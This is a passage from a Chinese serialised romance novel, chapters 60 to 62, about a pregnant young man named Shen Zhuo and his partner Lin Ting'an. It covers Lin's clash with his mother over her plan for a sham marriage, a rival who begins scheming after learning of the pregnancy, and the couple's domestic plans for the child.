这是天大的惊喜,沈茁想,他何德何能能有这样好的时候。 “当然是真的,”林庭安将手放在沈茁头顶,耐着性子帮他顺毛,“别想太多,你现在最要紧的是让自己开心,等孩子生下来还有大好的日子等着你。” “嗯。”沈茁闷声点头。 他凑过去将整个脑袋埋进林庭安的胸膛,没一会儿咸湿的眼泪就浸湿了男人的上衣。 第60章 沈茁被突来的喜悦冲昏了头脑, 睡觉时嘴角都噙着一抹笑。 他很久没睡得这样沉了,就连做的梦都是许久未曾做过的美梦。 梦里,他生了一个可爱的宝宝,小家伙有一双水灵灵的大眼睛, 皮肤又白又嫩, 恬静地躺在沈茁怀里酣睡。 沈茁坐在田园风的欧式沙发上, 轻轻摇晃着怀里的小家伙。 他动作轻柔,面色柔和, 阳光打在身上更让他全身散发着一种母性的光辉。 林庭安就是在这时走过来的, 他把手搭在沈茁的肩上, 慢慢俯身作势要逗孩子玩。 沈茁抓住男人的手腕,无声地瞪了他一眼,然后竖起手指放在唇上做了个噤声的手势。 林庭安见逗孩子不成,转头掉了个弯在沈茁脸上亲了一下。 他朝一旁的阿姨招手, 阿姨心领神会轻声走上前, 接过了沈茁怀里的孩子。 襁褓中的小家伙举起小手在空中握了一下,吧唧吧唧嘴又沉沉睡了过去。 “干嘛呀?” 沈茁一拳砸在林庭安胸上, 力道不轻不重, 比起泄愤更像是在调情。 “想我了吗?”林庭安捉住沈茁的手, 放在唇边落下了一个轻柔的吻,“我走了这么久你就不想我吗?” 沈茁的脸迅速变得绯红,他怎么会不想呢。 “可是我也很久没见宝宝了,”沈茁慢慢移过去, 凑到林庭安身边,亲昵地抱住了男人的胳膊,“我也想多看看宝宝。” 他正在写一门课程的结课论文,沈茁这门课的pre做的不好, 所以格外重视这份论文,几乎整天都泡在图书馆。 在家的时候他总是静不下心来,在书房待不到半小时就想要出去看看孩子。 一听到孩子的哭声他就什么都顾不上了。 “那咱们就一起去看孩子。” 林庭安突然起身,猝不及防将沈茁抱了起来。 短促的惊呼,沈茁双腿悬空,勾住了林庭安的脖子。 “放我下来,”他脸上的颜色又深了几分,“宝宝正睡觉呢,不能打扰他。” “那就不打扰,”林庭安意味深长地说,“咱们先去交流一下感情。” 沈茁早已不是从前那个单纯如白纸的小孩了,他当即便听懂了林庭安的言外之意。 “那……那小点声音,宝宝的房间离我们很近。” “放心,”林庭安勾起唇角,“家里前段时间重新做了隔音,不会被人听到的。” 看着沈茁羞涩的脸,林庭安掂了掂怀里的人,在他耳边低语,“你想怎么叫就怎么叫,叫多大声都可以。” “我才不叫呢。” 沈茁囫囵呓语,挥起手在空中轮了一圈,“唔系不要急。” 林庭安没听清,凑近了仔细分辨才听出沈茁说的是:“我才不要叫。” 他登时便反应过来,这小孩正在做梦呢。 笑着帮沈茁掖了掖被子,林庭安放在枕边的手机突然震动了一下。 怕把人吵醒,他翻身下床,走到空房间才打开手机查看发来的消息。 是他手底下的人发来的,这人效率很高几个小时就查出了林庭安想知道的东西。 【老板,我查到夫人正在本家寻摸跟您适龄的女人,似乎有意让您另寻良配。】 林庭安眯起眼睛,直直盯着这一串文字,眼神逐渐从柔和变得锐利。 他太了解自己的母亲了,几乎是瞬间就猜到了唐卿的意思。 她估计是打算在沈茁把孩子生下来之后,去父留子。 再让他另外找一个女人结婚,这样不仅有了亲生孩子,对外还落下了个家庭美满的好名声。 毕竟林氏的老董是个同性恋,这个消息传出去可不怎么好听。 圈子里有不少同性恋也确实是这么做的,假结婚对于他们而言根本算不上什么难事,这样不仅保全了名声,也不耽误他们享受生活。 但林庭安这人偏偏对感情的事很较真,他现在正跟沈茁热乎着,也决定了要跟这小孩过一辈子。 又怎么会做这种伤人心的事。 低头看了眼时间,现在已经很晚了。 林庭安点开电话薄,想了想还是没有在深夜叨扰自己的母亲。 第二天一早,沈茁还没睡醒,林庭安就起床给唐卿拨去了一个电话。 “怎么这么早打电话过来,有什么要紧事?”唐卿语气愈发急促,“不会是孩子出了什么问题吧?” 她正在开车去机场的路上,因为临时有事要去隔壁市出差一天,所以破天荒起了个大早,没成想正好接到自己了儿子的电话。 林庭安也没藏着掖着,直截了当地告诉自己的母亲,“妈,您最近应该也听到了些风声,我不会跟别人在一起,也做好了跟沈茁一起养育孩子的打算。” “您本家的旁系子女的确出众,但我的性取向是不会改变的,您这么做又有什么意义呢?” 唐卿一听就是知道林庭安已经查到了什么,她这个儿子敏锐得很,什么风吹草动都逃不过他的法眼。 “你懂什么,”唐卿丝毫没有被揭穿的狼狈,反而厉声道,“又不是叫你真的跟她们结婚。” “你选一个喜欢的去领个证,名头上算作是你的妻子,你又不会损失什么。” “如果你实在喜欢沈茁这小孩,那就放在身边养着,沈茁是个懂事的,想必也不会在意这些虚名。” “妈,您自己觉得您说的这话沈茁听了会怎么想?” 林庭安眉宇间凝了一团戾气,“我不想跟您争辩,但您也知道现在公司的大权已经移交到了我的手上。” “当初爷爷选择越过父亲直接将公司交到我的手上,就注定了家里权利的重心会向我偏移。” 林庭安轻吐出一口气来,叹息道:“我已经不是那个出乎茅庐的小孩了,请您立刻停止现在的行为,否则……” “怎么,你还想把那些手段用在父母身上!” 唐卿气得火冒三丈,她怎么也想不到自己一手培养出来的儿子,竟然会为了一个外人将矛头对着自己。 “妈,我向来尊敬您,但前提是您不能触及到我想要保护的人。” 林庭安铁青着脸说:“我会一直让人关注这事的,希望您能明白,我是您的儿子,但不是您的傀儡。” “我敬畏您,是因为您是我的母亲,但这并不代表您可以随意伤害我身边的人,也不代表您可以随心所欲控制我的人生。” 林庭安这几句话说得丝毫没留情面,他必须在最开始就讲明白,否则放任下去还不知道事情会发展到什么无可挽回的地步。 唐卿是个明白人,她听出了自己儿子语气里的坚决,双手紧紧握着方向盘没再辩驳。 尤其在现在这个节骨眼,沈茁肚子里还怀着孩子。 这事要是让他听了去,万一动了胎气就得不偿失了。 “我知道了。” 这个向来说一不二的女人第一次向自己的孩子服了软,她沉声道:“在沈茁生下孩子之前,我不会再继续。” “但你要知道父母所做的一切都是为了你好,”唐卿盯着极速后退的柏油路,缓缓道:“你以为我们在意的是自己的名声吗?” “妈,我是什么样的人您应该了解,我会为自己做的一切决定负责。” “如果你要选择这条路,最好把事情处理地滴水不漏。” 唐卿冷哼一声,“如果传出负面新闻,给公司带来经济损失,那可就太对不起你爷爷对你的信任,和你父亲的放权了。” “不会的,”林庭安握着手机的手不断收紧,他咬着后槽牙,从牙缝里挤出几个字,“您、放、心。” 这一通电话下来,母子俩的心情都跌掉了谷底。 在这个雾气缭绕的清晨,霜露浸湿了大地,同样怒火中烧的不只母子二人。 四环,靠近地铁站的小公寓里。 闵舟脸色凝重地看着平板上的电子报告,“真奇怪,这个姓沈的好像是突然冒出来的一样。” “为什么他从医院出来就住进了林家的别墅呢?” 梁远脸上的表情也不好看,他虽然答应了家里要在三十岁之前娶妻生子,但心里终究还是放不下面前的男人。 闵舟于他早已不只是爱慕者那么简单,无数拼搏的夜晚,他都是靠幻想这人才坚持了下去。 这份感情在每一个寂静的夜晚不断发酵,要想彻底剔除,谈何容易。 “你坐下喝口水,”梁远握住闵舟的手腕,将人拉下来坐到沙发上,“你已经看了很久了,既然想不明白就休息一会。” “你是不是特别不希望我发现什么蛛丝马迹呀?” 闵舟不情愿地坐下,将平板重重放在桌上,就着梁远的手喝了一口刚从冰箱里拿出来的矿泉水。 凉气顺着肠道游遍全身,他心里的火气才稍微降了下去。 “我的意思是你冷静一点,不要被表面上的信息牵着鼻子走。” 梁远重新拿起平板,迅速扫过屏幕上密密麻麻的文字。 “这里一定有问题,”他笃定道,“在医院里一定发生了什么。” “这还用你说,”闵舟心里焦急,语气愈发不耐,“要是什么都没发生,沈茁怎么可能短短几天就收到林庭安的青睐。” “你说他是不是特别会勾引人,”闵舟看着梁远的眼睛,表情扭曲起来,“一定是这样,一定是他勾引了林庭安。” 梁远比闵舟冷静许多,他垂眸思考片刻,摇摇头:“不会,林庭安的心性你还不了解吗,他不是那种会受诱惑的人。” “而且,”梁远指着屏幕上的监控画面,上面是沈茁干瘪瘦削的脸,“这张脸也不足以诱惑他。” “我问你,我跟他比谁好看?” 闵舟气极了,拉着梁远偏要他分出个上下来,“你说我到底哪点比不上他?” “你确定要问我这个?” 梁远眸色加深,直直注视着闵舟的眼睛,“如果你问我,那答案永远只有一个。” “我没工夫跟你调情,”闵舟嘴上骂着梁远,脸上却泛起了红晕,“你别看我,滚一边儿去。” “以前上大学的时候你也是这么说的,”梁远抚上闵舟的背,手上的动作逐渐大胆起来,“那时候我很胆小,被你骂了也不敢吭声。” “怎么,你现在就敢了?”闵舟指着梁远的鼻子说,“我告诉你,你别以为你现在就多厉害了,比起林庭安你差了不知道多少。” “论家世论学识你哪里比得上他?你就是奋斗一百年也比不上他一个脚指头!” “……” 梁远的笑容瞬间凝在了脸上,他放下微微翘起的嘴角缄默不语。 此时此刻的闵舟就像个刺猬,谁接近他都会被扎个体无完肤。 其实话一说出来,闵舟就后悔了。 他能肆意地朝梁远释放自己的情绪,就代表他根本不在意梁远会不会伤心难过。 但看着这人被刺痛的表情,闵舟竟头一次萌生出了自己做得太过的想法。 憋闷的空气让两人之间的氛围更加压抑,就在他们沉默对峙时,闵舟放在桌上的手机突然响了。 是一条陌生人发来的短信。 闵舟狐疑地点开那条短信,在看清信息内容后他的瞳孔骤然放大,一时惊得说不出话来。 梁远见状立刻凑过去看,只见上面是一张彩色照片。 照片里沈茁挺着圆滚滚的大肚子,正站在阳台上浇花。 那臃肿的身材和笨重的动作,俨然是怀孕的人才会有的。 “他……他他他他不是男的吗。” 闵舟手一抖,手机直直坠了下去。 梁远眼疾手快接住了下落的手机,仔细端看起那张照片。 他心里也是一惊,但反应远没有闵舟那么大。 “如果是这样的话,那一切就都解释通了。” 梁远摸着下巴,脸上的表情越来越精彩,“我知道了,一定是因为他怀孕了才会住进林庭安的家里。” “你……你是说,沈茁一个男的怀孕了?” 闵舟简直惊掉了下巴,他不可置信的看着梁远手上的照片,“这……这怎么可能呢?” “那天咱们不是……” 想到这儿,闵舟灵光一闪,他看向梁远,两人的目光撞在一起,同时想起了林庭安身边的那个孕妇。 乱成一团的线瞬间蹦解开,闵舟将事情串在一起,一下子就全都想明白了。 “天哪,”他震惊地说不出话来,“这太超过了,这怎可能呢!” 梁远一把扶住闵舟摇晃的身体,“有什么不可能,你没听过吗?排除掉所有错误的答案,剩下的那个不管多离谱都是真相。” 闵舟的震惊持续了好一会,他摇摇头努力调整自己的情绪。 半晌,闵舟猛地夺过自己的手机,给发短信的人回了条消息过去:【你是谁,为什么要告诉我这些?我又凭什么相信你说的是真的?】 发完消息闵舟靠坐在沙发上,努力消化接收到的信息。 本以为这条质问的短信会石沉大海,没想到三分钟后手机又响了一下。 对面发来了一长串地址,后面附着一个精确到分钟的时间。 “他想跟你见面。”梁远说。 闵舟咽了咽口水,回了条:【你到底是谁,我怎么保证自己的安全?】 消息转了几个圈发了出去,对话框前却赫然出现了一个红色的感叹号。 他被拉黑了。 “我去见他,”梁远主动请缨,“这明显是个鸿门宴,你待在家里别出去。” 梁远知道闵舟一定会去见这个来路不明的泄密者。 他的性格太过极端,想要的东西就非得得到不可,林庭安早就成了他心里一道越不过的山,闵舟是不可能放过这个天上掉下来的机会的。 梁远想,与其让他去冒险,还不如自己代替他去一探究竟。 “用不着,”闵舟眼中闪烁着跃动的火苗,心里莫名有些兴奋,“谢谢你帮我查东西,剩下的我自己来就好。” 他再次点开最开始的那条彩信,不断放大后,沈茁圆滚滚的肚子占据了整个屏幕。 闵舟全身的血液都沸腾起来,内心深处的欲望不断激增。 真好。 一个男人,一个是同性恋的男人如果可以怀孕,简直就是上天的恩赐。 如果能利用这份恩赐留住心驰神往的对象,那就更好了。 闵舟全身汗毛竖起,脑中逐渐形成了一个完美的计划。 他攥紧双手,指甲几乎插进肉里,掌心传来的痛感反而让他越来越兴奋。 * 因为林庭安睡前的话,沈茁一整天都沉浸在喜悦里。 昨晚的梦他醒来后就几乎忘光了,只记得梦里宝宝长得很漂亮。 圆溜溜的大眼睛清澈又可爱,跟他想象中的天使宝宝一模一样。 林庭安陪他吃完早餐就去上班了,沈茁跟他达成了一致以后都不接触染色的玻璃珠。 紧赶慢赶做好了前一天晚上答应做给客妹的手串,沈茁趁着工人来手工室收拾玻璃珠的间隙,跟王秋梅一起去快递站把东西寄了出去。 等回来手工室已经收拾的差不多了。 货架上的珠子一个没剩全都被收到箱子里,放进了储物室。 突然闲下来,沈茁反倒觉得无聊起来。 他干脆翻出那几团毛线,窝在手工室做起了钩织。 沈茁很久没跟孟也联系了,突发奇想打算做几个小玩意给孟也寄过去。 孟也的旅游计划已经进行了大半,他从祖国的北方一路朝南,玩遍了大半个华国,然后又坐飞机去往了国外。 冯尽就是他在国外度假时追过去的。 独自走过了许多大好河山,见过了诸多风景,孟也对人生的感悟也愈发深刻。 他虽然还是贪恋情爱的温度,却再也不会死抓着某一个人不放手,平白让自己困苦难过。 孟也拗不过这个死缠烂打的男人,干脆就让冯尽跟着自己。 冯尽愿意出钱他就用,冯尽愿意给他暖床他也不拒绝。 旅行多了孟也开始注重起了仪式感。 他每到一个城市就会去当地的邮局,给未来的自己寄一张明信片,地址是他在京都的房子。 这是他情感的寄托,也是对自己未来的美好憧憬。 到了国外有冯尽捣乱,孟也倒是一张明信片也没寄出去。 因为他每写完一张明信片就会被冯尽那个跟屁虫给抢过去,还十分羞耻地读明信片上的内容。 发现孟也一个标点符号都没提到自己,冯尽就会冷着脸生闷气。 等孟也回了酒店房间这个男人就会立刻变身成狼,扑过去撕咬他这只小白兔。 沈茁在国内忙着应付孕期的一系列不良反应,孟也在国外奋力抵抗着冯尽的纠缠。 两人大概有半个月没好好说过话了。 沈茁朋友不多,孟也可以说是他这一生中唯一珍重的友情。 他不想两人的关系因为距离而疏远,便想做点东西弥补他们的感情。 孟也是立春后出生的,属猴。 沈茁用一上午的时间钩织了一个小猴形状的针织挂件,然后拍了张照片给孟也发了过去。 【孟哥,你看这只小猴子可不可爱?】 几分钟后,孟也发了条语音过来:“好可爱,小沈越来越厉害了,啥时候给我做个一米九的男人送过来,我的旅途路上就不孤独了。” 沈茁很是认真地想了一下,钩一个一米九的玩偶至少也要几个月才能完成。 他有些愧疚地回道:“孟也,要不我先把这个小猴子寄给你,一米九的男人太重了要好多钱才能运到国外。” 孟也:【……】 几秒钟后,孟也的语音电话拨了过来了。 沈茁把手机平放在桌面上,点了接通。 “你还真想给我钩一个一米九的男人啊?” 手机里传来了孟也的大笑声,“你真要给我还不想要呢,我有冯尽这一个大魔头就够烦的了,可真是再受不了第二个了。” “他在还烦你吗?”沈茁替孟也担心,忙道:“孟哥,你如果遇到什么麻烦就跟我说,我老公都可以解决的。” 正在酒店里躺着的孟也沉默了。 最近冯尽确实越来越偏激,一开始他用别人男人刺激冯尽,冯尽还没有这么强烈的反应。 但现在只要他跟陌生男人稍微靠近一点,冯尽就会立刻化身为被人抢了肥肉的恶狗,好不厉害。 孟也的力气没冯尽大,平时全靠虚张声势才压过他一头。 现在冯尽不想包容他了,收拾他跟收拾小鸡崽一样。 孟也现在完全被这人给逼到了一条死路上,退无可退。 冯尽的目的也很简单,就是想要跟他和好。 但孟也不想再回到从前,回到那个全身心都吊在一个男人身上的时候。 两人一个拼命地抓,一个奋力地逃,最终的结果就是僵持在原地,谁都无法前进一步。 “不说这个了,”孟也长叹口气,“你放心我这人从来不让自己吃亏,要是真有什么肯定会求助你的。” “好吧。”沈茁是个有分寸的人,见孟也不想再提他立刻断了话茬。 “孟哥,那你给我个地址吧,我把这个小猴子给你寄过去,让它陪你一起旅游。” “行啊,那我把地址发给你。” 孟也从来不跟沈茁客气,他认为亲近的人之间不需要说那些客客气气的虚词,于是干脆利落地把自己的地址发给了沈茁。 两人聊了好一会儿才挂断电话。 跟孟也聊完沈茁心里的憋闷消散了大半,他打开购物软件,欢欢喜喜地开始搜索漂亮的包装纸。 他要把这个小猴子好好包装一下,再给孟也寄过去。 另一边,孟也直起身蓬头垢面地坐在酒店的床上。 冯尽折腾了他一晚上,完事后只在他身边睡了是三个小时,就接了通电话走了。 孟也揉了揉自己的腰,虽然他现在正在跟冯尽闹别扭,但做这事还是挺舒服的。 猛地向后一倒,孟也的身体直直朝身后砸去。 酒店的床垫很软,他颠了几下才稳稳落在床上。 人啊,果然是食色性也。 色字头上一把刀,任谁也逃不过。 想到这儿,孟也眼睛一亮,他捡起身边的手机,把自己这么多年搜罗来的小钙片给沈茁发了个过去。 配文:【小沈同学多学习学习,这可是本军师压箱底的秘籍,学好了保准你难捏住孩他爹的心!】 沈茁见孟也还想着他的事,心里暖烘烘的:【谢谢孟哥!】 他迅速复制了孟也发的链接,放到网盘里保存了下来。 按照一系列复杂的流程操作下来,成功在浏览器上解压了全部的视频。 只不过文件下载列表上所有视频都一个样,封面是黑漆漆的一片,没有显示具体的画面。 沈茁随机点开了其中的一个,调转屏幕满含期待地看了起来。 一开始屏幕还是黑的,灰色的旋转图标在中间不断转动。 突然,画面加载了出来。 入目便是两个交叠的身影,背景是酒店的床上。 一声高过一声的浪。叫传进了沈茁耳朵里,他僵在原地,愣了足足一分钟才回过神来。 “啊啊啊啊,孟哥,你太坏了!” 沈茁啪的一声关掉手机,将屏幕朝下扣到了桌面上。 他跑回卧室,气喘吁吁坐在床上,脸颊逐渐升温,比煮熟的小龙虾还要红。 “宝宝,你什么都没听到,爸爸也什么都没看。” 沈茁抚摸着自己的肚子,“你干爹他不是故意发这些的,他不知道你现在器官已经发育了,是可以听到外界的声音的。” “乖孩子,晚上你爹爹回来让他给你讲故事,你就忘了刚才的声音吧。” 沈茁轻声细语跟肚子里的孩子说话,看似在哄宝宝,实际也在哄自己。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 沈茁感觉自己被孟也发来的东西给刺激到了, 不然为什么光是躺着,脑子里都在回响那道尖锐的叫声。 他翻了个身,仰面躺在床上。 现在是下午两点,他刚吃了一碗水果捞, 喝了一碗排骨汤, 现在胃撑得生疼。 沈茁微微低头, 看向自己的肚子。 他在肚子上摸了几下,怎么感觉好像没有前几天那么鼓了? “宝宝, 你怎么一会一个样呀?” 沈茁用手指点了点凸起的肚皮, 没想到肚子突然动了一下。 “宝宝, 你……” 看着那块被顶起来的衣料,沈茁激动得几乎说不出话来。 “你这个小坏蛋,把爸爸肚子都给踢疼了。” 嘴上说着疼,但沈茁脸上的笑容却越来越大, 他好期待看到宝宝出生之后的样子。 会不会跟梦里一样, 眼睛圆圆的? 还是跟他的爸爸爹爹一样,是狭长的丹凤眼? 不过不论宝宝是什么样子, 他都会好好爱他。 沈茁深吸了口气, 一时竟有些惆怅。 他现在孕反严重, 每天早餐之后就会开始干呕,呕又呕不出东西,只能扒着马桶把自己给恶心吐才能吐出东西来。 平时待在家里,指不定什么时候就又会开始呕。 如果只是孕反倒也没什么, 但沈茁不单孕反严重,情绪状态也不是很好。 上一秒还欢天喜地,下一秒就会无精打采闷闷不乐。 另外那些身体上的疼痛就更不用提了。 以上种种沈茁从来没跟林庭安说过,他还特意嘱咐阿姨不要把他的情况告诉林庭安。 沈茁知道他刚接手家里的产业, 每天要处理很多工作,有时候忙起来连饭都吃不上。 所以更不想再让林庭安因为自己的事情烦心。 孕育生命原本就不是一件容易的事情,挺一挺就过去了。 肚子里的孩子仿佛感知到沈茁的心情,又开始调皮起来,在肚皮下面直打滚。 沈茁无奈地看着自己打地鼠一样时不时凸起一小块的肚子,“宝宝,你今天怎么这么淘气。” 他抚上自己的肚子,温热的掌心紧贴着发凉的小腹。 “是不是想爹爹了?爹爹晚上就回家了,到时候他就会陪我们了。” “宝宝你要乖乖的,不对,”沈茁想了想,拍着肚子说:“你不乖也可以,爸爸也会爱你的,只要你开心快乐就好。” “就是不知道你爹爹会不会喜欢调皮的小孩,但是小朋友有几个是不调皮的呢?” 沈茁喃喃:“我小时候也调皮过,那时候我以为是因为太调皮爸妈才不喜欢我,但是后来我才知道,喜欢你的人不会因为你不听话就变得不再爱你。” “同样的,不喜欢你的人,不管你变成什么样,他们都不会爱你。” 说着,沈茁突然哽咽起来。 漂亮的眼睛凝上了一团水雾,他抽抽鼻子,强撑着坐了起来。 “宝宝,你放心,爸爸绝对不会让你也陷入到这种境地的。” 沈茁扯出一抹苦笑来,“我一定会让你在富足有爱的环境里成长,你只要享受你美好的人生就好。” 翻身下床,沈茁走过去打开了窗户,他坐在窗边静静看着窗外的景色。 小区的绿化很好,凉风吹进屋里,还带着独属于青草地的芳香。 这让沈茁想到了小时候,在泥土里的奔跑玩耍的日子。 连带着,他又想起了自己的姥爷。 他想给姥爷迁坟。 沈茁知道只要他提起这事,林庭安一定会立刻安排人去做。 但…… 沈茁将双手轻轻搭在肚子上,不断收紧手臂,用一种充满保护姿态的动作抱住了自己的肚子。 但是他现在还在孕期,如果给家人迁坟,让林庭安的妈妈知道了她一定会生气的。 相处下来,沈茁发现其实有钱人也挺迷信的。 他们会觉得在孕期接触丧葬之类的事情很不吉利。 沈茁不想闹得大家都不开心,就把这事压在了心里,打算生完孩子再说。 反正他都已经把装着姥爷骨灰的小罐子埋在树底下那么久,要说不孝顺也不差这半年了。 呼吸越来越沉重,沈茁看着楼下的花草树木,呆坐了很久。 他的大脑不断放空,逐渐变成了空白的一片。 良久,回过神来。 慢慢起身走关上窗户,用已经冻得发凉的手拿起床上的手机。 重新回到手工室,沈茁红着脸莫名又点开了孟也发过来的那些视频。 他的心跳声越来越大,大到几乎要将自己的呼吸声淹没。 没有男人不喜欢这个。 沈茁告诉自己,林庭安也会喜欢的。 就在他们阴差阳错有了孩子的那个晚上,林庭安不就是去会所找鸭子的。 想到这个,沈茁心里突然抽疼了一下。 一种莫名的恐惧在心底升起,他突然害怕起来。 慌乱地点开那些视频,沈茁又羞又燥,强撑着才看完了个不到一分钟的视频。 视频里的两个人仿佛两条欢脱的游鱼,在水中畅快地交融。 砰砰砰,砰砰砰—— 沈茁双手紧紧攥着手机,将屏幕扣在自己的胸口。 片子里的人都太会了,这让他想到了之前在会所里,总是会不小心撞到别人的好事。 只不过那时候沈茁还未经世事,不懂得其中的痛苦和乐趣。 现在回想,哪怕是在床上他也是很无趣的人,除了青涩的叫喊就不会别的花样了。 那种事他做不来,也学不会。 沈茁感觉自己永远也不会像片子里的人那样,放纵地喊叫,恣意地挺起水蛇般柔软的腰身。 现在他怀着孩子,自然不会跟林庭安做这种事。 但等孩子生下来,如果他还想继续留在林庭安身边,两个人总是要亲密接触的。 等到那时候,林庭安就会知道他是一个多么无聊的人。 沈茁垂下眼睑,高悬着的心瞬间低落下来。 不过,以前的他也完全想不到,自己有一天会叫别人老公叫得那么自然。 或许以后他就又变了呢? 沈茁靠在椅子上,脑子时乱时清晰,到最后自己都不知道自己在想些什么。 他气鼓鼓地打开手机,点开跟孟也的对话框。 思考片刻,手指在屏幕上点了几下,咻咻咻发了几个表情包过去。 【[活人微死.jpg][越想越气.jpg][怒极反笑.jpg][再这样试试呢.jpg]】 【孟哥,你给我发这个可害苦我了!!!】 【我打算三分钟不理你,你干孩子也三分钟不理你了!】 发完消息,沈茁刚想退出微信,就听嘀的一声,有条新的消息被顶了上来。 林庭安:【今天宝宝乖不乖?】 沈茁想到刚才小家伙在自己肚子里“跳舞”的样子,抿着嘴唇回复:【宝宝很乖,你放心吧。】 林庭安:【今天会早点回去,大概还有一个小时到家,给你买了一小块巧克力。】 沈茁:【昨天不是说不能吃了吗?】 林庭安:【没说不能吃,只是要少吃,而且我说的是蛋糕,巧克力不算在内。】 【回家之后我们商量一下,等孩子生出来在哪栋房子定居。】 沈茁:【好,那你注意安全开车慢一点。】 林庭安:【等我。】 嘿嘿,巧克力,原来不能每天吃蛋糕但是可以每天吃巧克力? 关掉手机,沈茁站起来,在宽阔的房间里来回踱步。 他深刻反思,刚刚莫名其妙来的那一段情绪简直就是给自己平添烦恼。 大概是因为太闲了,所以才会想东想西。 沈茁暗下决心打算让自己忙起来。 他翻箱倒柜把剩下的几团毛线找了出来,打算钩几个有纪念意义的东西。 坐在旋转椅上转了个圈,沈茁撑着下巴开始思考,要做点什么呢? 有了! 他翻出之前保存下来的图纸,是一家三口的鬼娃娃人偶。 这是沈茁刚开始接单时保存的,那时候他接了一个婚庆的单子。 定制娃娃的顾客打算做一对玩偶送给自己要结婚的朋友,沈茁找了很久才找到这张图解。 如果把这个做出来,林庭安应该会开心吧? 沈茁说干就干,立刻去书房把图解打印了下来,按照上面的钩针方法开始做人偶娃娃。 约莫半个小时,他才堪堪钩个了头出来。 眼看林庭安就要回家了,沈茁赶忙把东西塞进桌子下面的抽屉里藏了起来,然后才走出房间去客厅等人。 林庭安回家时,沈茁正坐在沙发上看电视。 这小孩手里捧着一盘水果,眼睛一眨不眨看着电视,边吃水果边笑得嘎嘎乐。 “什么电视剧这么好看,笑成这样?” 林庭安脱掉西装外套递给阿姨,走过去蹲下身贴在沈茁的肚子上亲昵地蹭了两下。 “不是电视剧,是搞笑综艺。” 沈茁下意识挺直了腰身,他抬起胳膊羞赧地让男人环住自己的腰身。 “宝宝白天真的没有闹你?” 林庭安仰头看着沈茁,一双鹰眼仿佛早已透析了一切,“如果不舒服就说出来,跟我有什么不能说的?” “嗯……宝宝确实有点活泼,”沈茁委婉地说,“虽然肚子有点遭罪,但我看到胎动还是挺开心的。” “这不正好说明宝宝很健康吗?” “小朋友,不许再闹你爸爸了,”林庭安惩罚性地点了下沈茁的肚皮,“不然等你出来不给你买零食吃。” “那怎么行?”沈茁先不干了,他小声说:“零食还是要给孩子吃一点的。” “你呀,”林庭安站起来在沈茁头上拍了下,“惯子如杀子,知道吗?” 沈茁向后躲闪了一下,眼睛转了转没说话。 他默默在心里腹诽,那也不能克扣宝宝的口粮! 第62章 晚上十点, 两人洗完澡躺在床上聊天。 沈茁穿了件小熊形状的毛茸连体睡衣,端坐在床上看着林庭安。 他们正在讨论宝宝小朋友出生之后的住所问题。 一开始两人都没有搬家的打算,这套大平层离林庭安的公司很近。 小区的地段好、绿化好、安保也好,很适合他们一家人居住。 但周围半个小时车程内没有一家像样的学校, 仅有的一家幼儿园还是公立的, 完全在两人的抉择范围外。 沈茁戴上小熊帽子, 拉住帽子上的抽绳系了个蝴蝶结,开口提议:“不是说生完孩子就出国吗?现在不用考虑这些吧?” “你还有几个月就生了, 二月生完怎么也要休养半年, 刚好能赶上开学。” 林庭安耐心解释:“咱们在国外怎么也要带个两三年, 到时候宝宝大概三岁左右,也到了上幼儿园的时候。” “如果要回国现在就要开始装修新房,现在市面上的装修材料多多少少都有甲醛,如果不放干净对你和宝宝不好。” “那我们可以不会之前那个别墅住吗?” 沈茁几句话就被说服了, 他爬过去跨坐在林庭安腿上。 屁股先是压上了男人的大腿, 然后慢慢前移,蹭到了男人的大腿根。 硬。挺的肚子紧贴着林庭安的小腹, 沈茁腰背挺得笔直, 满眼不愿。 “那栋别墅在城郊不适合孩子住, 你放心不会再把你自己仍在那的。” 林庭安顺势道:“我今天遇到了之前跟你提过的陈总,我们聊了几句,打算到时候让宝宝跟他儿子上一个学校。” “那所贵族学校有陈家的注资,教学资源在京都是数一数二的, 跟国内的教育不同,主要培养商业人才。” “学校周围有个别墅区,我跟陈继乾商量好了,买下他家旁边那栋别墅, 到时候两家还是个照应,你看怎么样?” 沈茁对贵族学校完全不了解,但打眼一听就知道这对宝宝来说是个很好的选择。 从小就有玩伴一起上下学,这不是现成的青梅竹马。 而且对面的孩子还比宝宝大一岁,到时候还能照顾宝宝,简直是一举两得。 沈茁重重点头,“好,那就听你的。” 林庭安嗤笑,他抓住沈茁的腰身将人往前提了提,“好像又沉了不少。” “我最近虽然主食吃得不多,但是饭后水果吃了不少。” 沈茁垂着头,不好意思地说:“我是不是还要控制呀?” 他边说边用眼睛偷偷观察林庭安的表情。 “吃水果没事,你想吃就吃。” 林庭安见沈茁这副小心翼翼的样子,不禁有些心疼,“家里不拘束你的开销,只是吃太多对身体不好,就忍这几个月,等孩子生下来随你吃。” “好吧。” 沈茁能感觉到林庭安话里话外对他的关心,他心里一暖,觉得不能吃好吃的也没什么。 从前他每天吃泡面饿肚子都是常有的事,现在又有什么不能控制的? 披着浅棕色毛皮的小熊张开双手,微红的眼睛沁着水汽,露出了一个能瞬间激起人保护欲的笑容。 “你抱我吧,”沈茁舔了下干燥的嘴唇,撒娇似的说,“你很久没抱我了。” 林庭安会意,托起他的屁股,将人调转了个角度放在自己腿间,从背后拥住了他。 沈茁抓住林庭安的手腕,“揉肚子。” 林庭安得令立刻照做,他将双手放在一起摩擦几下,生出温度后才伸手探进沈茁的衣服里,轻轻揉搓起来。 沈茁享受地仰起头,挺直了背紧靠在林庭安怀里。 后背的热度直线升高,他的心跳也越来越快。 万籁俱寂的深夜,整个房间里只有手掌与衣料摩擦产生的微小的声音。 两人谁也没说话,只是静静地抱在一起。 这种沉静比聒噪的语言更加有力,沈茁尤为受用。 他喜欢被人紧紧抱在怀里的感觉,喜欢被人珍视地爱抚,更喜欢这种让人昏昏欲睡的静谧。 良久,林庭安耳边传来了平稳的呼吸声。 沈茁睡着了。 他最近很嗜睡,林庭安看在眼里,却无可奈何。 只能吩咐阿姨在沈茁睡着之后给他盖上被子,免得着凉。 家里的阿姨除了王秋梅都不会进到两人的屋子里,王秋梅又是林庭安雇来的,有什么事都会向他汇报。 好几次林庭安收到王秋梅的短信,说沈茁又坐在窗边发呆了。 他收到消息恨不得立刻让人把沈茁接到公司来,哪怕让他在休息室睡觉,或者坐在沙发上看手机,也好过一个人闷在家里。 理智拉扯下,林庭安每次都会强压下冲动,给沈茁发几条消息仔细哄哄他便作罢了。 沈茁现在的身体情况,明目张胆地去公司对他来说百害而无一利。 只有几个月,林庭安想,等到二月份孩子出生之后他一定尽可能弥补沈茁。 